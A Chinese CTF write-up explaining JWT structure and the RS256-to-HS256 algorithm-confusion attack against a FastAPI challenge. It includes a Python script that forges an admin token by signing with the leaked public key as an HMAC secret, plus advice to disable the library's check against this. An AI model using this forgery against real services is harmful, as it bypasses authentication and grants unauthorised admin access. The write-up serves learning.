如何分析JWT中的CTF

如何分析JWT中的CTF，很多新手对此不是很清楚，为了帮助大家解决这个难题，下面小编将为大家详细讲解，有这方面需求的人可以来学习下，希望你能有所收获。

这两天碰到一道ctf，如下：

大概是，输入题目的自带token以获取后端响应的access_token，登录后发现需要admin来查看对应的profile文件。

其实题目上有提示，FastAPI框架和JWT验证。

去网上查了一下，FastAPI有一个默认的文档交互界面/docs

/debug下有一个public key

然后网上去百度了一堆JWT的资料：

Json Web Token 的简称就是 JWT，通常可以称为Json 令牌。它是RFC 7519中定义的用于安全的将信息作为Json 对象进行传输的一种形式。JWT 中存储的信息是经过数字签名的，因此可以被信任和理解。可以使用 HMAC 算法或使用 RSA/ECDSA 的公用/专用密钥对 JWT 进行签名。

JWT分为三个部分

• Header

• Payload

• Signature

这三部分通过‘ . ’ 连接，格式大概为 Header.Payload.Signature

Header部分：

包含两个字段，typ（令牌类型）和alg（加密算法）。

例如：

{
  "alg": "RS256",
  "typ": "JWT"
}

JWT在支持非对称加密的同时也支持对称加密，并且加密算法通过头部的alg值确定。

问题就出在这里。

引用WP大佬的解释：

在使用 RS256 时，程序的流程是：

• 使用私钥为 JWT 签名。

• 使用公钥验证接收到的 JWT 的完整性。

而在使用 HS256 时，程序的流程是：

• 使用密钥为 JWT 签名。

• 同样，使用这个密钥验证 JWT 的完整性。显然，这个密钥不能被泄露出来。

那么如果我们知道公钥，那么我们就能这么做：

• 接收到一个合法的，使用RS256签名算法的 JWT。

• 修改 JWT 的 payload 我们想要的样子，同时修改 header 的算法为HS256。

• 使用已知的公钥，以HS256算法重新签名我们修改后的公钥。

• 发给服务器。此时，服务器使用公钥 +HS256算法检查 JWT，发现没有问题，就会认为这是一个合法的 JWT。

Payload部分

Payload部分一般包含一些有效声明，声明分为三种

• registered

• public

• private

registered是一些预定义声明：

• iss (issuer) ：签发者

• exp (expiration time) ：过期时间

• sub (subject) ：主体

• aud (audience) ：受众

• nbf (Not Before) ：生效时间

• iat (Issued At) ：签发时间

• jti (JWT ID) ：编号

public公共声明：

一般放一些用户信息。

private自定义声明：

用于各方信息共享。

例如：

{
  "sub": "admin",
  "exp": 9902085613
}

Signature部分：

Signature主要由两个部分组成：

• base64后的header和payload

• secert密钥

然后再使用我们之前所选择的加密方式进行加密。

大概如下：

{ 
rs256_encode(base64_encode(header)+'.'+base64_encode(payload)+secert) 
}

so整个JWT的组成可以如下图表示：

图片来源：

看完这篇 Session、Cookie、Token，和面试官扯皮就没问题了

于是乎，回到题目本身。

我们的目标就很明确了：

• 通过之前/debug中暴露的public key，构造使用HS256的JWT。

• 将JWT替换至我们的数据包中。

• 后端读取到header字段中的HS256，会使用对称加密的形式通过本地的public key解密JWT，然后以sub=admin的权限读取到数据。

构造脚本如下：

import jwt

PUBLIC_KEY = "-----BEGIN RSA PUBLIC KEY-----\nMIICCgKCAgEAn/KiHQ+/zwE7kY/Xf89PY6SowSb7CUk2b+lSVqC9u+R4BaE/5tNF\neNlneGNny6fQhCRA+Pdw1UJSnNpG26z/uOK8+H7fMb2Da5t/94wavw410sCKVbvf\nft8gKquUaeq//tp20BETeS5MWIXp5EXCE+lEdAHgmWWoMVMIOXwaKTMnCVGJ2SRr\n+xH9147FZqOa/17PYIIHuUDlfeGi+Iu7T6a+QZ0tvmHL6j9Onk/EEONuUDfElonY\nM688jhuAM/FSLfMzdyk23mJk3CKPah58nzVmb1YRyfBWiVFGYQqMCBnWgoGOanpd\n46Fp1ff1zBn4sZTfPSOus/+00D5Lxh7bsbRa6A1vAApfmTcu026lIb7gbG7DU1/s\neDId9s1qA5BJpzWFKO4ztkPGvPTUok8hQBMDaSH1JOoFQgfJIfC7w2CQe+KbodQL\n3akKQDCZhcoA4tf5VC6ODJpFxCn6blML5cD6veOBPJiIk8DBRgmt2AHzOUju+5ns\nQcplOVxW5TFYxLqeJ8FPWqQcVekZ749FjchtAwPlUsoWIH0PTSun38ua8usrwTXb\npBlf4r0wz22FPqaecvp7z6Rj/xfDauDGDSU4hmn/TY9Fr+OmFJPW/9k2RAv7KEFv\nFCLP/3U3r0FMwSe/FPHmt5fjAtsGlZLj+bZsgwFllYeD90VQU8Ds+KkCAwEAAQ==\n-----END RSA PUBLIC KEY-----\n"

payload = {
  "sub": "admin",
  "exp": 9902085613,  #失效时间，随便写就好
}

header = {
  "typ": "JWT",
  "alg": "HS256"
}

encoded = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256', headers=header)

print(encoded)

JWT在更新后加入了一个校验机制来解决此漏洞，主要是用于检测public key是否为非对称加密公钥。

使用脚本时会报错，直接进源文件注释掉即可。

最终：

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